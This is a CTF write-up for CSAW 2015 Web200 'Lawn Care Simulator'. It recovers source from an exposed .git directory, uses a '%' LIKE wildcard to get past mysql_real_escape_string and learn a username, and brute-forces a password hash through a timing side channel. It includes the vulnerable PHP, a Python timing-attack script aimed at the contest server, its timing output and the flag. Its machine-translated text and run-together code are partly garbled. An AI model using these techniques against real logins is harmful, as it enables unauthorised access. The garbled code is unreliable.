CTF writeup: csaw ctf 2015 Web200 Problem Solving Process
Problem
Lawn Care Simulator is a simple web application used to display the growth process of grass. It contains a lot of valuable content, but we need to log on to get it.
However, you cannot perform registration. If you cannot register, there is no other way to log on.
0 × 01 exploring. git Repository
From the source code of index.html, we found an AJAX request to Git repository. Then we can use the. git file on a remote server.
With the following SHA-1 Git objects hash, we can find and download the source file (unfortunately, not all ).
The following is a hash tree:
$ git cat-file -p aa3025bdb15120ad0a2558246402119ce11f4e2etree 731924d14616f3f95c1d75e822a6a97a69f1a32fauthor John G
1442602067 +0000committer John G
1442602067 +0000I think I'll just put mah source code riiiiighhhht here. Perfectly safe place for some source code.
And content tree:
$ git cat-file -p 731924d14616f3f95c1d75e822a6a97a69f1a32f100644 blob 4bcb0b3cf55c14b033e3d7e0a94b6025f6956ec7 ___HINT___100644 blob 43d1df004d9cf95f2c5d83d2db3dcf887c7a9f2f index.html100644 blob 27d808506876eeb41d6a953ac27f33566216d25f jobs.html040000 tree 220a9334b01b77d1ac29b7fd3a35c6a18953a96d js100644 blob 73009145aac48cf1d0e72adfaa093de11f491715 premium.php100644 blob 8e4852023815dc70761e38cde28aebed9ec038e3 sign_up.php100644 blob 637c8e963a5fb7080ff639b5297bb10bca491bda validate_pass.php
There is no useful information in the file prompt, but we can analyze the source code of some files first. After a few minutes, we basically fixed several key points.
1. The registration page cannot work normally, but we can try to guess/find the registered account.
$user = mysql_real_escape_string($_POST['username']); // check to see if the username is available $query = "SELECT username FROM users WHERE username LIKE '$user';"; $result = mysql_query($query) or die('Query failed: ' . mysql_error()); $line = mysql_fetch_row($result, MYSQL_ASSOC); if ($line == NULL){ // Signing up for premium is still in development echo 'Lawn Care Simulator 2015 is currently in a private beta. Please check back later'; } else { echo 'Username: ' . $line['username'] . " is not available"; }
2. the login page works normally, but we need to find the correct user name and try to pass the authentication, and finally enter the background to get the flag.
require_once 'validate_pass.php'; require_once 'flag.php'; if (isset($_POST['password']) && isset($_POST['username'])) { $auth = validate($_POST['username'], $_POST['password']); if ($auth){ echo "
0 × 02 search for user name
Find the following lines from sign_up.php:
$user = mysql_real_escape_string($_POST['username']); // check to see if the username is available $query = "SELECT username FROM users WHERE username LIKE '$user';";
Mysql_real_escape_string () cannot be used for SQL Injection here, but as we can see, we can try to use special characters like (% or _) to bypass mysql_real_escape_string ()
So when we try to use % as the user name for registration, get the following.
This is equivalent to having a user name, and then searching for a password.
0 × 03 bruteforce password verification
This password verification method was first encountered, a little tricky
if (strlen($pass) != strlen($hash)) return False; $index = 0; while($hash[$index]){ if ($pass[$index] != $hash[$index]) return false; # Protect against brute force attacks usleep(300000); $index+=1; } return true;
$ Hash value comes from DB, and $ pass is the MD5 encrypted hash value from the password of the logon form. First, check the length. If the length of $ pass is not equal to the length of $ hash, the system returns false for verification. Therefore, even if we bypass the login form, we need to send 32 characters (MD5 Hash ).
If $ hash is the same as $ pass, the script checks whether the hash value is correct after the first-order difference. If the characters are the same, wait 0.3 seconds and check the next character. This is why we chose bruteforce for verification.
Assume that the time between each correct character and the next character is verified to be 0.3 seconds, we can compare all single characters starting from the first character in the MD5 string (in this example, there are a few hexadecimal numbers ). For this reason, I wrote a simple Python script, which is only from 0 ~ F (hexadecimal) creates a 32-character string and sends it to the server.
#!/usr/bin/pythonimport requestsimport sysheaders = { "Referer": "http://54.175.3.248:8089/", "Content-type": "application/x-www-form-urlencoded", "Host": "54.175.3.248:8089"}def send_request(current_password): payload = {"username": "~~FLAG~~", "password": current_password} r = requests.post("http://54.175.3.248:8089/premium.php", headers=headers, data=payload) return r.elapsed.total_seconds() charset = "abcdef0123456789"final_password = sys.argv[1]current_password = ""s = ""for c in charset: current_password = final_password + c + "-" * (31 - len(final_password)) # send payload and check response time, avg from 3 probes print "sending payload with password: {}".format(current_password) t = send_request(current_password) print "time for {} - {}".format(c, t) final_password += sprint "\n\ncurrent final password: {} ({} chars)\n\n".format(final_password, len( final_password))
It took some time, but I finally found 10 first characters in the MD5 hash of the FLAG user name and password. When I send the flag I obtained, the following console outputs the characters after the sample attempt 667. The script shows that the 4th characters 'E' have exceeded the average time, the subsequent Script output starts from 667e217666 and the time has not changed.
$ ./pass_time_check.py 667sending payload with password: 667a----------------------------time for a - 1.206054sending payload with password: 667b----------------------------time for b - 1.1628sending payload with password: 667c----------------------------time for c - 1.123849sending payload with password: 667d----------------------------time for d - 1.123673sending payload with password: 667e----------------------------time for e - 1.533342sending payload with password: 667f----------------------------time for f - 1.123596sending payload with password: 6670----------------------------time for 0 - 1.12424sending payload with password: 6671----------------------------time for 1 - 1.139995sending payload with password: 6672----------------------------time for 2 - 1.209023sending payload with password: 6673----------------------------time for 3 - 1.122856sending payload with password: 6674----------------------------time for 4 - 1.123731sending payload with password: 6675----------------------------time for 5 - 1.124603sending payload with password: 6676----------------------------time for 6 - 1.122691sending payload with password: 6677----------------------------time for 7 - 1.12402sending payload with password: 6678----------------------------time for 8 - 1.123192sending payload with password: 6679----------------------------time for 9 - 1.1241$ ./pass_time_check.py 667e217666sending payload with password: 667e217666a---------------------time for a - 3.317382sending payload with password: 667e217666b---------------------time for b - 3.274132sending payload with password: 667e217666c---------------------time for c - 3.376334sending payload with password: 667e217666d---------------------time for d - 3.273846sending payload with password: 667e217666e---------------------time for e - 3.274608sending payload with password: 667e217666f---------------------time for f - 3.27328sending payload with password: 667e2176660---------------------time for 0 - 3.213485sending payload with password: 667e2176661---------------------time for 1 - 3.234123sending payload with password: 667e2176662---------------------time for 2 - 3.272356sending payload with password: 667e2176663---------------------time for 3 - 3.274707sending payload with password: 667e2176664---------------------time for 4 - 3.27386sending payload with password: 667e2176665---------------------time for 5 - 3.272986sending payload with password: 667e2176666---------------------time for 6 - 3.27506sending payload with password: 667e2176667---------------------time for 7 - 3.274545sending payload with password: 667e2176668---------------------time for 8 - 3.273122sending payload with password: 667e2176669---------------------time for 9 - 3.290462
After the response time of 667e217666 does not change, I decided to add some random characters to try:
Finally, obtain the flag: gr0wth _ h4ck! NG! 1! 1!
I don't understand why I started working after 10 characters. I guess it may be a pre-verification mechanism. We can't see the code, and in the CTF flag race, after all, it depends on who gets the flag first.